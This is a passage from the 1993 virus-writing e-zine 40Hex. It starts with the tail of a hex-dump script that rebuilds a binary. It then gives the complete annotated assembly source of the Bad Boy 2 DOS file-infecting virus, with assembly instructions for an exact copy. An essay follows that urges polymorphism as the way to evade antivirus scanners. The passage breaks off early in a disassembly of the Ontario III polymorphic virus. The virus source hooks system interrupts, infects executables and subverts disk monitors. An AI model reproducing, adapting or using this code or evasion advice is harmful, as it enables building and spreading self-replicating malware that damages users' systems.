  1478. e 07A0  01 A3 21 01 A3 19 01 C7 06 1F 01 00 01 C7 06 1B 
  1479. e 07B0  01 00 01 B8 00 42 33 C9 BA 02 00 CD 21 BA 0D 01 
  1480. e 07C0  8B 1E 2B 01 B9 16 00 B4 40 CD 21 B8 02 42 33 C9 
  1481. e 07D0  33 D2 CD 21 BA 00 01 A1 29 01 59 2B C1 2B D0 B9 
  1482. e 07E0  27 07 03 C8 81 E9 00 01 B4 40 CD 21 B4 3E CD 21 
  1483. e 07F0  C3 51 B9 00 00 B4 4E CD 21 59 C3 06 B8 1C 35 CD 
  1484. e 0800  21 2E 89 1E 07 01 2E 8C 06 09 01 B8 21 35 CD 21 
  1485. e 0810  06 58 2E A3 05 01 2E 89 1E 03 01 07 C3 50 06 1E 
  1486. e 0820  33 C0 8E C0 BE 86 00 26 8B 04 8E D8 BE 25 07 81 
  1487. e 0830  3C 0C 0A 75 09 1E 58 E8 B7 01 1F 07 58 C3 0E 1F 
  1488. e 0840  A1 35 01 48 8E C0 26 80 3E 00 00 5A 74 03 EB 44 
  1489. e 0850  90 26 A1 03 00 B9 37 07 D1 E9 D1 E9 D1 E9 D1 E9 
  1490. e 0860  2B C1 72 30 26 A3 03 00 26 29 0E 12 00 0E 1F 26 
  1491. e 0870  A1 12 00 50 07 BE 00 01 56 5F B9 27 06 FC F2 A4 
  1492. e 0880  06 2B C0 8E C0 BE 84 00 BA A8 04 26 89 14 46 46 
  1493. e 0890  58 26 89 04 1F 07 58 C3 3C 57 75 03 EB 1E 90 80 
  1494. e 08A0  FC 1A 75 06 E8 17 01 EB 13 90 80 FC 11 75 04 E8 
  1495. e 08B0  0F 00 CF 80 FC 12 75 04 E8 C1 00 CF 2E FF 2E 03 
  1496. e 08C0  01 B0 57 CD 21 50 51 52 53 55 56 57 1E 06 0E 1F 
  1497. e 08D0  0E 07 2E C6 06 CD 05 00 90 E8 18 00 75 0C E8 3C 
  1498. e 08E0  FD 74 07 E8 54 01 FE 0E CD 05 07 1F 5F 5E 5D 5B 
  1499. e 08F0  5A 59 58 C3 0E 07 0E 07 FC E8 36 00 73 04 83 FF 
  1500. e 0900  00 C3 BF 19 02 B0 2E B9 0B 00 F2 AE 81 3D 43 4F 
  1501. e 0910  75 0D 80 7D 02 4D 75 07 C6 06 24 07 43 90 C3 81 
  1502. e 0920  3D 45 58 75 0C 80 7D 02 45 75 06 C6 06 24 07 45 
  1503. e 0930  90 C3 1E 2E 8B 36 2D 01 2E A1 2F 01 8E D8 BF 19 
  1504. e 0940  02 AC 3C FF 75 07 83 C6 06 AC EB 08 90 3C 05 72 
  1505. e 0950  03 1F F9 C3 B9 0B 00 3C 00 74 06 04 40 AA B0 3A 
  1506. e 0960  AA AC 3C 20 74 04 AA EB 0B 90 26 80 7D FF 2E 74 
  1507. e 0970  03 B0 2E AA E2 EB B0 00 AA 1F F8 C3 B0 57 CD 21 
  1508. e 0980  50 51 52 53 55 56 57 1E 06 0E 1F 0E 07 2E 80 3E 
  1509. e 0990  CD 05 00 74 03 EB 1C 90 E8 59 FF 75 16 E8 7D FC 
  1510. e 09A0  74 11 E8 95 00 FE 0E CD 05 07 1F 5F 5E 5D 5B 5A 
  1511. e 09B0  59 58 C3 07 1F 5F 5E 5D 5B 5A 59 58 C3 00 50 1E 
  1512. e 09C0  58 2E A3 2F 01 2E 89 16 2D 01 58 C3 0E B0 00 E6 
  1513. e 09D0  20 B8 24 35 CD 21 89 1E 39 01 8C C3 89 1E 37 01 
  1514. e 09E0  07 BE 0A 02 BF 19 02 B9 0F 00 AC 04 20 AA E2 FA 
  1515. e 09F0  C3 50 0E 1F 0E 07 8A 1E 3B 01 80 FB 0C 77 39 80 
  1516. e 0A00  FB 00 74 34 B0 08 E6 70 E4 71 3C 0C 77 2A 3C 00 
  1517. e 0A10  74 26 3A C3 74 22 FE C3 E8 14 00 3A C3 74 19 FE 
  1518. e 0A20  C3 E8 0B 00 3A C3 74 10 1F E8 3A 00 0E 1F C3 80 
  1519. e 0A30  FB 0C 76 03 80 EB 0C C3 58 C3 BA 73 06 B8 24 25 
  1520. e 0A40  CD 21 80 3E 24 07 43 75 06 E8 42 FC EB 04 90 E8 
  1521. e 0A50  C5 FC 1E 8B 16 39 01 A1 37 01 8E D8 B8 24 25 CD 
  1522. e 0A60  21 1F C3 B0 03 CF BA B0 06 B8 1C 25 CD 21 C6 06 
  1523. e 0A70  B0 06 90 90 B8 00 B8 8E C0 BF A0 0F B8 20 07 B9 
  1524. e 0A80  0B 00 F2 AB 0E 07 C3 00 00 00 20 07 0F 0A 0F 0A 
  1525. e 0A90  0F 0A 0F 0A 0F 0A 0F 0A 0F 0A 0F 0A F7 0E EE 0C 
  1526. e 0AA0  90 FB 50 51 52 53 55 56 57 1E 06 0E 1F EB 0B 90 
  1527. e 0AB0  07 1F 5F 5E 5D 5B 5A 59 58 CF B8 00 B8 8E C0 E8 
  1528. e 0AC0  2B 00 BE 9A 06 B9 16 00 F2 A4 80 3E AE 06 EE 74 
  1529. e 0AD0  08 C6 06 AE 06 EE EB 06 90 C6 06 AE 06 F0 26 8B 
  1530. e 0AE0  05 B4 0E A3 9A 06 C6 06 99 06 00 EB C3 BF 00 00 
  1531. e 0AF0  BE 9C 06 57 B9 12 00 FC F3 A6 5F 74 0B 47 47 81 
  1532. e 0B00  FF A0 0F 75 EB BF 00 00 81 FF 9E 0F 75 05 C6 06 
  1533. e 0B10  B0 06 CF C3 43 0C 0A 
  1534. rcx
  1535. 0A17
  1536. w
  1537. q
  1538. -------------------------------------------------------------------------------
  1539.                                                                              DA
  1540. 40Hex Issue 10 Volume 3 Number 1                                      File 006
  1541.  
  1542. The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly
  1543. not a good source of virus description, so we will not bother including its
  1544. utterly useless description of the virus here.  Bad Boy 2 is a resident COM
  1545. infector.  After 10 infections, it turns itself off.   Although most of the
  1546. code is written well, there are still a few bugs and inconsistencies in it.
  1547. It implements several well-known stealth techniques, including playing with
  1548. the system file table.  It is a segmented virus, with variable placement of
  1549. each segment when it infects a file.  Thus the locations of each segment in
  1550. the virus relative to each other changes upon each infection.
  1551.  
  1552. For a byte-to-byte match up of the original, assemble with the following:
  1553.         tasm badboy2.asm
  1554.         tlink /t badboy2.asm
  1555. Note only one pass is required.
  1556.  
  1557.                                         Dark Angel
  1558.                                         Phalcon/Skism 1993
  1559.  
  1560. -------------------------------------------------------------------------------
  1561.                 .model tiny
  1562.                 .code
  1563.                 org     100h
  1564. ; Bad Boy 2 virus
  1565. ; Disassembly done by Dark Angel of Phalcon/Skism
  1566. ; For 40Hex Issue 10 Volume 3 Number 1
  1567. start:
  1568.                 push    cs:startviruspointer            ; save on stack for
  1569.                 push    cs                              ; return
  1570.                 pop     ds
  1571.                 jmp     word ptr cs:encryptpointer      ; decrypt virus
  1572. endstart:
  1573.  
  1574. curpointer      dw      0
  1575. infcounter      db      0
  1576. filesize        dw      2
  1577. filetime        dw      0
  1578. filedate        dw      0
  1579.  
  1580. origint21       dw      0, 0
  1581. DOSdiskOFF      dw      0
  1582. DOSdiskSEG      dw      0
  1583. oldint21        dw      0, 0
  1584.  
  1585. oldint24        dw      0, 0
  1586.  
  1587. ; The parts of the virus are here
  1588. encryptpointer          dw      offset carrierencrypt
  1589. startviruspointer       dw      offset startvirus
  1590. installpointer          dw      offset install
  1591. exitviruspointer        dw      offset exitvirus
  1592. restoreint21pointer     dw      offset restoreint21
  1593. int24pointer            dw      offset int24
  1594. int21pointer            dw      offset int21
  1595. infectpointer           dw      offset infect
  1596.  
  1597. encryptlength           dw      endencrypt-encrypt
  1598. startviruslength        dw      endstartvirus-startvirus
  1599. installlength           dw      endinstall-install
  1600. exitviruslength         dw      endexitvirus-exitvirus
  1601. restoreint21length      dw      endrestoreint21-restoreint21
  1602. int24length             dw      endint24-int24
  1603. int21length             dw      endint21-int21
  1604. infectlength            dw      endinfect-infect
  1605.  
  1606.  
  1607. enddata:
  1608.  
  1609. encrypt: ; and decrypt
  1610.                 mov     bx,offset startviruspointer
  1611.                 mov     cx,6
  1612. do_next_segment:
  1613.                 cmp     bx,offset int24pointer
  1614.                 jne     not_int24pointer
  1615.                 add     bx,2
  1616. not_int24pointer:
  1617.                 push    bx
  1618.                 push    cx
  1619.                 mov     ax,[bx]                 ; get start offset
  1620.                 mov     cx,[bx+encryptlength-encryptpointer] ; and length
  1621.                 mov     bx,ax
  1622. encrypt_segment:
  1623.                 xor     [bx],al                 ; encrypt cx bytes
  1624.                 inc     bx
  1625.                 loop    encrypt_segment
  1626.  
  1627.                 pop     cx
  1628.                 pop     bx
  1629.                 add     bx,2                    ; go to next segment
  1630.                 loop    do_next_segment
  1631.                 retn
  1632. endencrypt:
  1633.  
  1634. startvirus:
  1635.                 mov     es,cs:[2]               ; get top of memory
  1636.                 mov     di,100h                 ; check if virus
  1637.                 mov     si,100h                 ; already resident
  1638.                 mov     cx,offset endstart - offset start - 1
  1639.                 rep     cmpsb
  1640.                 jnz     not_installed           ; continue if not
  1641.                 jmp     cs:exitviruspointer     ; otherwise, quit
  1642. not_installed:
  1643.                 mov     ax,cs                   ; get current program's
  1644.                 dec     ax                      ; MCB
  1645.                 mov     ds,ax
  1646.                 cmp     byte ptr ds:[0],'Z'     ; check if last one
  1647.                 ;nop
  1648.                 je      is_last_MCB             ; continue if so
  1649.                 jmp     cs:exitviruspointer     ; otherwise, quit
  1650. is_last_MCB:
  1651.                 rsize    = ((endvirus - start + 15)/16+1)*3 ; resident size in
  1652.                                                 ; paragraphs
  1653.                 sub     word ptr ds:[3],rsize   ; decrease MCB's memory
  1654.                 mov     ax,es                   ; get segment of high memory
  1655.                 sub     ax,rsize                ; decrease by virus size
  1656.                 mov     es,ax                   ; es = start segment of virus
  1657.                 mov     ds:[12h],ax             ; put value in PSP top of
  1658.                                                 ; memory field
  1659.                 push    cs
  1660.                 pop     ds
  1661.                 mov     cs:infcounter,0         ; clear infection counter
  1662.                 mov     di,100h
  1663.                 mov     cx,offset enddata - offset start
  1664.                 mov     si,100h
  1665.                 rep     movsb
  1666.                 mov     bx,cs:encryptpointer
  1667.                 add     bx,encrypt_segment-encrypt+1
  1668.                 xor     byte ptr [bx],18h       ; change to: xor [bx],bl
  1669.  
  1670. ; shuffling segments to different locations
  1671.                 mov     cx,8
  1672.                 mov     curpointer,offset encrypt
  1673. shuffle:
  1674.                 push    cx
  1675.                 call    random_segment
  1676.                 push    bx
  1677.                 mov     ax,[bx]
  1678.                 push    ax
  1679.                 add     bx,encryptlength-encryptpointer
  1680.                 mov     cx,[bx]
  1681.                 pop     si
  1682.                 pop     bx
  1683.                 xchg    di,curpointer
  1684.                 mov     es:[bx],di              ; copy segment
  1685.                 rep     movsb                   ; to memory area
  1686.                 xchg    di,curpointer
  1687.                 mov     ax,8000h
  1688.                 or      [bx],ax                 ; mark already copied
  1689.                 pop     cx
  1690.                 loop    shuffle
  1691.  
  1692.                 mov     cl,8
  1693.                 not     ax                      ; ax = 7FFFh
  1694.                 mov     bx,offset encryptpointer
  1695. clear_hibit:                                    ; restore the pointers
  1696.                 and     [bx],ax
  1697.                 add     bx,2
  1698.                 loop    clear_hibit
  1699.  
  1700.                 jmp     cs:installpointer
  1701.  
  1702. random_segment:
  1703.                 push    cx
  1704.                 push    es
  1705.                 xor     cx,cx
  1706.                 mov     es,cx
  1707. random_segment_loop:
  1708.                 mov     bx,es:[46Ch]            ; get timer ticks since
  1709.                                                 ; midnight MOD 8
  1710.                 db      081h,0e3h,7,0           ; and bx,7
  1711.                 shl     bx,1                    ; multiply by 2
  1712.                 add     bx,offset encryptpointer
  1713.                 test    word ptr [bx],8000h     ; check if already moved
  1714.                 jnz     random_segment_loop     ; do it again if so
  1715.                 pop     es
  1716.                 pop     cx
  1717.                 retn
  1718. endstartvirus:
  1719.  
  1720. install:
  1721.                 xor     ax,ax
  1722.                 mov     ds,ax                   ; ds->interrupt table
  1723.                 mov     ax,ds:21h*4             ; save old int 21h handler
  1724.                 mov     es:oldint21,ax
  1725.                 mov     ax,ds:21h*4+2
  1726.                 mov     word ptr es:oldint21+2,ax
  1727.                 mov     ah,30h                  ; get DOS version
  1728.                 int     21h
  1729.  
  1730.                 cmp     ax,1E03h                ; 3.X?
  1731.                 jne     not_DOS_3X              ; skip if not
  1732.                 mov     es:origint21,1460h      ; use known value for int 21h
  1733.                 mov     ax,1203h                ; get DOS segment
  1734.                 push    ds
  1735.                 int     2Fh
  1736.  
  1737.                 mov     word ptr es:origint21+2,ds
  1738.                 pop     ds
  1739.                 jmp     short is_DOS_3X
  1740.                 nop
  1741. not_DOS_3X:
  1742.                 mov     ax,ds:21h*4
  1743.                 mov     es:origint21,ax
  1744.                 mov     ax,ds:21h*4+2
  1745.                 mov     word ptr es:origint21+2,ax
  1746. is_DOS_3X:
  1747.                 cli                             ; set new int 21h handler
  1748.                 mov     ax,es:int21pointer
  1749.                 mov     ds:21h*4,ax
  1750.                 mov     ax,es
  1751.                 mov     ds:21h*4+2,ax
  1752.                 sti
  1753.                 mov     cx,es
  1754.                 mov     ah,13h                  ; get old DOS disk handler
  1755.                 int     2Fh                     ; to es:bx
  1756.  
  1757.                 push    es
  1758.                 mov     es,cx
  1759.                 mov     es:DOSdiskOFF,dx
  1760.                 mov     es:DOSdiskSEG,ds
  1761.                 pop     es
  1762.                 int     2Fh                     ; restore DOS disk handler
  1763.                 jmp     cs:exitviruspointer
  1764. endinstall:
  1765.  
  1766. exitvirus:
  1767.                 push    cs                      ; copy return routine to
  1768.                 push    cs                      ; buffer at end of file
  1769.                 pop     ds                      ; and transfer control
  1770.                 pop     es                      ; to it
  1771.                 mov     si,cs:exitviruspointer
  1772.                 add     si,offset return_to_COM - offset exitvirus
  1773.                 ;nop
  1774.                 mov     di,cs:filesize
  1775.                 add     di,offset endvirus
  1776.                 push    di
  1777.                 mov     cx,offset end_return_to_COM - offset return_to_COM
  1778.                 cld
  1779.                 rep     movsb
  1780.                 retn                            ; jmp to return_to_COM
  1781.  
  1782. return_to_COM:
  1783.                 mov     si,cs:filesize
  1784.                 add     si,100h
  1785.                 cmp     si,offset endvirus      ; check if small file
  1786.                 jae     not_negative            ; if not, skip next
  1787.                 mov     si,offset endvirus      ; adjust for too small
  1788. not_negative:
  1789.                 mov     di,100h
  1790.                 mov     cx,offset endvirus - offset start - 1 ; ????
  1791.                 rep     movsb                   ; copy old file to start
  1792.                 mov     ax,100h                 ; and exit the virus
  1793.                 push    ax
  1794.                 retn
  1795. end_return_to_COM:
  1796.  
  1797. endexitvirus:
  1798.  
  1799. restoreint21:
  1800.                 xor     di,di
  1801.                 mov     ds,di
  1802.                 cli
  1803.                 mov     di,cs:oldint21
  1804.                 mov     ds:21h*4,di
  1805.                 mov     di,word ptr cs:oldint21+2
  1806.                 mov     ds:21h*4+2,di
  1807.                 sti
  1808.                 retn
  1809.  
  1810. plea            db      'Make me better!'
  1811.  
  1812. endrestoreint21:
  1813.  
  1814. int24:
  1815.                 mov     al,3
  1816.                 iret
  1817.  
  1818. message         db      'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
  1819.  
  1820. endint24:
  1821.  
  1822. int21:
  1823.                 push    bx
  1824.                 push    si
  1825.                 push    di
  1826.                 push    es
  1827.                 push    ax
  1828.                 cmp     ax,4B00h                ; check if execute
  1829.                 jz      execute                 ; continue if so
  1830.                 jmp     short exitint21
  1831.                 nop
  1832. execute:
  1833.                 push    ds
  1834.                 push    cs
  1835.                 pop     es
  1836.                 xor     ax,ax
  1837.                 mov     ds,ax
  1838.                 mov     si,24h*4                ; get old int 24h
  1839.                 mov     di,offset oldint24      ; handler
  1840.                 movsw
  1841.                 movsw
  1842.                 mov     ax,cs:int24pointer
  1843.                 cli                             ; set new critical error
  1844.                 mov     ds:24h*4,ax             ; handler
  1845.                 mov     ax,cs
  1846.                 mov     ds:24h*4+2,ax
  1847.                 sti
  1848.                 pop     ds
  1849.                 mov     ax,3D00h                ; open file read only
  1850.                 pushf
  1851.                 call    dword ptr cs:oldint21
  1852.                 jc      restore_exitint21
  1853.                 mov     bx,ax                   ; handle to bx
  1854.                 call    cs:infectpointer
  1855.                 pushf
  1856.                 mov     ah,3eh                  ; close file
  1857.                 pushf
  1858.                 call    dword ptr cs:oldint21
  1859.                 popf
  1860.                 jc      restore_exitint21
  1861.                 push    ds
  1862.                 cli                             ; subvert nasty disk
  1863.                 xor     ax,ax                   ; monitoring programs
  1864.                 mov     ds,ax
  1865.                 mov     ax,cs:DOSdiskOFF
  1866.                 xchg    ax,ds:13h*4
  1867.                 mov     cs:DOSdiskOFF,ax
  1868.                 mov     ax,cs:DOSdiskSEG
  1869.                 xchg    ax,ds:13h*4+2
  1870.                 mov     cs:DOSdiskSEG,ax
  1871.                 sti
  1872.                 pop     ds
  1873. restore_exitint21:
  1874.                 push    ds
  1875.                 xor     ax,ax
  1876.                 mov     ds,ax
  1877.                 mov     ax,cs:oldint24
  1878.                 mov     ds:24h*4,ax
  1879.                 mov     ax,word ptr cs:oldint24+2
  1880.                 mov     ds:24h*4+2,ax
  1881.                 pop     ds
  1882. exitint21:
  1883.                 pop     ax
  1884.                 pop     es
  1885.                 pop     di
  1886.                 pop     si
  1887.                 pop     bx
  1888.                 jmp     dword ptr cs:oldint21
  1889. endint21:
  1890.  
  1891. infect:
  1892.                 push    cx
  1893.                 push    dx
  1894.                 push    ds
  1895.                 push    es
  1896.                 push    di
  1897.                 push    bp
  1898.                 push    bx
  1899.                 mov     ax,1220h                ; get JFT entry for file
  1900.                 int     2Fh                     ; handle bx
  1901.  
  1902.                 mov     bl,es:[di]
  1903.                 xor     bh,bh
  1904.                 mov     ax,1216h                ; get associated SFT
  1905.                 int     2Fh                     ; entry to es:di
  1906.  
  1907.                 pop     bx
  1908.                 mov     ax,es:[di+11h]          ; get file size
  1909.                 cmp     ax,0F000h               ; exit if too large
  1910.                 jb      not_too_large
  1911.                 jmp     errorinfect
  1912. not_too_large:
  1913.                 mov     word ptr es:[di+2],2    ; set to read/write mode
  1914.                 mov     ax,es:[di+11h]          ; get file size (again)
  1915.                 mov     cs:filesize,ax          ; save it
  1916.                 mov     ax,es:[di+0Dh]          ; get file time
  1917.                 mov     cs:filetime,ax          ; save it
  1918.                 mov     ax,es:[di+0Fh]          ; get file date
  1919.                 mov     cs:filedate,ax          ; save it
  1920.                 push    cs
  1921.                 pop     ds
  1922.                 mov     dx,4E9h
  1923.                 mov     cx,3E8h
  1924.                 mov     ah,3Fh                  ; Read from file
  1925.                 pushf
  1926.                 call    dword ptr cs:oldint21
  1927.                 jnc     read_ok
  1928.                 jmp     errorinfect
  1929. read_ok:
  1930.                 mov     bp,ax
  1931.                 mov     si,dx
  1932.                 mov     ax,'MZ'                 ; check if EXE
  1933.                 cmp     ax,[si]
  1934.                 jne     not_MZ
  1935.                 jmp     errorinfect
  1936. not_MZ:
  1937.                 xchg    ah,al
  1938.                 cmp     ax,[si]                 ; check if EXE
  1939.                 jne     not_ZM
  1940.                 jmp     errorinfect
  1941. not_ZM:
  1942.                 push    es
  1943.                 push    di
  1944.                 push    cs
  1945.                 pop     es
  1946.                 mov     si,100h                 ; check if already
  1947.                 mov     di,dx                   ; infected
  1948.                 mov     cx,offset endstart - offset start - 1
  1949.                 repe    cmpsb
  1950.                 pop     di
  1951.                 pop     es
  1952.                 jnz     not_already_infected
  1953.                 jmp     errorinfect
  1954. not_already_infected:
  1955.                 mov     word ptr es:[di+15h],0
  1956.                 push    es
  1957.                 push    di
  1958.                 mov     si,cs:infectpointer
  1959.                 add     si,offset write_virus - offset infect
  1960.                 xor     di,di
  1961.                 push    cs
  1962.                 pop     es
  1963.                 mov     cx,offset end_write_virus-offset write_virus
  1964.                 cld
  1965.                 rep     movsb
  1966.                 pop     di
  1967.                 pop     es
  1968.                 mov     si,cs:infectpointer
  1969.                 add     si,offset finish_infect - offset infect
  1970.                 push    si
  1971.                 xor     si,si
  1972.                 push    si
  1973.                 push    ds
  1974.                 cli                             ; subvert nasty
  1975.                 xor     ax,ax                   ; antivirus programs
  1976.                 mov     ds,ax
  1977.                 mov     ax,cs:DOSdiskOFF
  1978.                 xchg    ax,ds:13h*4
  1979.                 mov     cs:DOSdiskOFF,ax
  1980.                 mov     ax,cs:DOSdiskSEG
  1981.                 xchg    ax,ds:13h*4+2
  1982.                 mov     cs:DOSdiskSEG,ax
  1983.                 sti
  1984.                 pop     ds
  1985.                 retn
  1986.  
  1987. write_virus:
  1988.                 push    bx
  1989.                 call    cs:encryptpointer       ; encrypt virus
  1990.                 pop     bx
  1991.                 mov     dx,100h
  1992.                 mov     ah,40h                  ; write virus
  1993.                 mov     cx,offset endvirus - offset start
  1994.                 pushf
  1995.                 call    dword ptr cs:origint21
  1996.                 pushf
  1997.                 push    bx
  1998.                 call    cs:encryptpointer       ; decrypt virus
  1999.                 pop     bx
  2000.                 popf
  2001.                 jnc     write_OK
  2002.                 pop     ax
  2003.                 mov     ax,cs:infectpointer
  2004.                 add     ax,offset infectOK - offset infect
  2005.                 push    ax
  2006.                 retn
  2007. write_OK:
  2008.                 mov     ax,es:[di+11h]          ; move file pointer
  2009.                 mov     es:[di+15h],ax          ; to end of file
  2010.                 mov     dx,offset endvirus
  2011.                 mov     cx,bp
  2012.                 mov     ah,40h                  ; concatenate carrier
  2013.                 pushf                           ; file's first few bytes
  2014.                 call    dword ptr cs:origint21
  2015.                 retn
  2016. end_write_virus:
  2017.  
  2018. finish_infect:
  2019.                 mov     ax,5701h                ; restore file time/date
  2020.                 mov     cx,cs:filetime
  2021.                 mov     dx,cs:filedate
  2022.                 pushf
  2023.                 call    dword ptr cs:oldint21
  2024.                 inc     cs:infcounter
  2025.                 cmp     cs:infcounter,10d       ; after 10 infections,
  2026.                 jne     infectOK
  2027.                 call    cs:restoreint21pointer  ; turn off virus
  2028.                 jmp     short infectOK
  2029. errorinfect:
  2030.                 stc                             ; set error flag
  2031.                 jmp     short exitinfect
  2032. infectOK:
  2033.                 clc                             ; clear error flag
  2034. exitinfect:
  2035.                 pop     bp
  2036.                 pop     di
  2037.                 pop     es
  2038.                 pop     ds
  2039.                 pop     dx
  2040.                 pop     cx
  2041.                 retn
  2042. endinfect:
  2043.                 db      0
  2044. endvirus:
  2045.                 int     20h
  2046.  
  2047. carrierencrypt:
  2048.                 mov     word ptr cs:encryptpointer,offset encrypt
  2049.                 retn
  2050.  
  2051.                 end     start
  2052. -------------------------------------------------------------------------------
  2053.                                                                              DA
  2054. 40Hex Issue 10 Volume 3 Number 1                                      File 007
  2055.  
  2056. A Case Against Simple Encryption And For Polymorphism
  2057. ~ ~~~~ ~~~~~~~ ~~~~~~ ~~~~~~~~~~ ~~~ ~~~ ~~~~~~~~~~~~
  2058.  
  2059.      In a well-crafted virus, every line of code should serve a definite
  2060. purpose.  No byte should be wasted.  Is encryption, long used by virus
  2061. programmers, still a viable method of eluding scanners and, if not, is
  2062. encryption any longer a necessary part of a virus?
  2063.      The type of encryption found in the typical virus is a simple XOR loop or
  2064. another similar type of operation, i.e. rotate, add, etc.  The idea behind
  2065. encryption was to change the virus during each iteration so that scanners would
  2066. not be able to detect it.  However, such simple encryption hardly serves this
  2067. job, as most scanners simply scan for a pattern found in the encryption.  Only
  2068. a handful delve deeper than the decryption routine.  So the sole purpose of
  2069. simple encryption such as that seen in most viruses nowadays seems to be to
  2070. hide text strings from archaic text searching programs (remember those virus
  2071. books that touted CHK4BOMB as the best thing since rotten Jello?).  But is it
  2072. worth including encryption solely for this purpose?  I think not.  Few people
  2073. search files for unusual text strings and the extra code needed to encrypt a
  2074. file for this purpose may hardly be justified to overcome this obstacle.
  2075.      As mentioned previously, waste should be frowned upon in viruses.
  2076. Unquestionably, the ultimate goal of a virus is to avoid detection while
  2077. spreading to the greatest number of hosts.  It has been established that simple
  2078. decryption patterns do not aid a virus in avoiding detection from scanners.
  2079. And encryption is certainly not a vital part of the replication process.  Thus
  2080. simple attempts at encryption do not add anything of value to the virus.
  2081.      Yet these weak encryption routines _are occasionally_ necessary, but only
  2082. as stepping stones for fledgling virus programmers entering the realm of
  2083. polymorphism.  Without a few simple encryption routines and knowledge of their
  2084. use under his belt, a virus programmer would be hard-pressed to create a truly
  2085. polymorphic virus.  Therefore, it should be noted that simple encryption should
  2086. be used only as part of the learning process.  However, remember also that such
  2087. encryption pales in the face of modern virus scanners and polymorphism is a far
  2088. better alternative.
  2089.      Polymorphism is perhaps the best technique modern viruses use to avoid
  2090. scanners.  The other alternative, stealth techniques, is limited in utility and
  2091. is rendered helpless in the face of simple memory scans.  A combination of the
  2092. two is desirable, yet it is not always possible to implement both in a virus of
  2093. limited size.  So let us examine polymorphism.
  2094.      Polymorphism, in its simplest form, merely consists of a fixed-length
  2095. decryptor with a few bytes which may be altered during each infection.  This is
  2096. merely a small step up from the simple encryption routine.  A few extra XOR
  2097. statements in the code are all that is necessary for implementing such a
  2098. routine.  However, this is, once again, only a small step up; most such fixed-
  2099. length decryptors may be detected by a couple scan strings with wildcards.
  2100. More powerful polymorphism is necessary for evasion of scanners.
  2101.      The MtE and the recently introduced TPE are both powerful products which
  2102. allow every virus to include polymorphism.  However, it is important to note
  2103. that viruses utilising such products may be detected by existing scanners.
  2104. Therefore, it is desirable to write a new polymorphic routine from scratch.
  2105. This will allow for longer survival of the virus.
  2106.      The chief problem with good polymorphism is that the virus should be able
  2107. to detect existing infections of itself in files.  Otherwise, the virus could
  2108. grow beyond limit and much disk space would be taken up in redundant
  2109. infections.  Two methods are commonly used; the infection marker byte and the
  2110. time stamp.  However, such a check is inherently limiting as the virus scanner
  2111. is then able to use said check to its advantage; it need not check files, for
  2112. example, save those which have the seconds field set to eight.  Then again, a
  2113. scanner which functions in this manner would be helpless in detecting another
  2114. virus utilising the identical polymorphic routine but with a different
  2115. infection stamp.
  2116.      The second major difficulty with good polymorphic routines is simply the
  2117. size.  MtE, for example, adds over 2,000 bytes of code.  A working, albeit
  2118. limited, polymorphic routine is possible in half this size, yet it would still
  2119. be 1,000 bytes, a size larger than most viruses.  Increased size, of course,
  2120. increases the disk access time.  While generally irrelevant in a harddisk-based
  2121. environment, this increased infection time becomes crucial when infecting files
  2122. on floppy diskettes.  There are precious few ways of alleviating this problem;
  2123. the only real solution is to decrease the functionality of the polymorphic
  2124. routine and thereby compromise its worth.
  2125.      Taken as a whole, the advantages in utilising polymorphic routines should
  2126. outweigh the disadvantages.  The increased difficulty of scanning may allow the
  2127. virus to slip through the cracks even after a virus scanner claims to detect it
  2128. reliably.  Take, for example, MtE.  To this day, many virus scanners fail to
  2129. accurately report MtE infections; some still trigger false positives.  To
  2130. reiterate a previous point - simple decryption routines are worthless, as they
  2131. fail to serve their main purpose of aiding in the evasion of scanners.  Even
  2132. simple polymorphic routines are easily defeated by scanners; true polymorphism
  2133. or no encryption at all are only alternatives.
  2134.  
  2135.                                         Dark Angel
  2136.                                         Phalcon/Skism 1993
  2137. 40Hex Issue 10 Volume 3 Number 1                                      File 008
  2138.  
  2139.         The Ontario III virus was written by one of our YAM friends up in
  2140. Canada, Death Angel.  The virus infects COM/EXE files.  Additionally, it
  2141. attaches to SYS files yet does not truly infect them.  When the virus is
  2142. executed from a SYS file, it goes resident yet it never alters the interrupt
  2143. vectors.  Therefore, it is merely taking up space in memory.  The virus
  2144. automatically attacks COMSPEC upon receiving control, whether it is in a COM,
  2145. EXE, or SYS host file.  However, I suspect that the virus will have trouble
  2146. dealing with command interpreters apart from COMMAND.COM, as it makes certain
  2147. assumptions, i.e. the end of the file is filled with null characters.  The
  2148. virus utilises a simple polymorphic routine, although the decryptor is of a
  2149. fixed length.  The polymorphism is therefore of questionable utility.
  2150. Additionally, the boot sector is pointless as it is never accessed.  There are
  2151. a few additional bugs in the virus which detract from its overall quality.
  2152. -------------------------------------------------------------------------------
  2153.                 .model  tiny
  2154.                 .code
  2155. ; Ontario III
  2156. ; Disassembly by Dark Angel of Phalcon/Skism
  2157. ; Assemble with TASM /m ONTARIO3.ASM
  2158.  
  2159. ; Virus written by Death Angel of YAM
  2160.                 org     0
  2161.  
  2162. decrypt:
  2163. patch1:
  2164.                 mov     di,offset endvirus      ; usually: offset enddecrypt
  2165. patch2          =       $ - 2
  2166. patch3          =       $
  2167.                 mov     cx,37E5h
  2168. patch4          =       $ - 2
  2169. patch5:
  2170.                 db      82h, 0C5h, 0D0h         ; add ch,0D0h
  2171. patch6          =       $ - 1
  2172. patch7:
  2173.                 mov     al,0Ah
  2174. patch8          =       $ - 1
  2175.  
  2176. decrypt_loop:
  2177.                 add     cs:[di],al
  2178. patch9          =       $ - 1
  2179. patch10:
  2180.                 ror     al,cl
  2181. patch11         =       $ - 1
  2182. patch12:
  2183.                 inc     di
  2184. patch13:
  2185.                 loop    decrypt_loop
  2186. enddecrypt:
  2187.  
  2188. patch14:
  2189.                 db      89h, 0FBh               ; mov bx,di
  2190. patch15         =       $ - 1
  2191.  
  2192.                 sub     bx,offset save4
  2193.                 xchg    ax,cx
  2194.                 dec     ax
  2195.                 cld
  2196.                 call    saveorigvectors
  2197.                 db      0e9h                    ; jmp
  2198. SYSpatch        dw      0                       ; currently jmp to next line
  2199.                 int     21h                     ; installation check
  2200.                 or      al,ah
  2201.                 jz      restorefile
  2202.                 push    ds
  2203.                 mov     cx,bx
  2204.                 mov     di,ds                   ; save current ds
  2205.                 mov     ah,13h                  ; get BIOS int 13h handler
  2206.                 int     2Fh                     ; to ds:dx and es:bx
  2207.  
  2208.                 mov     si,ds                   ; does function function?
  2209.                 cmp     si,di
  2210.                 je      skipit
  2211.                 push    ds
  2212.                 push    dx
  2213.                 mov     ah,13h                  ; restore handler
  2214.                 int     2Fh
  2215.  
  2216.  
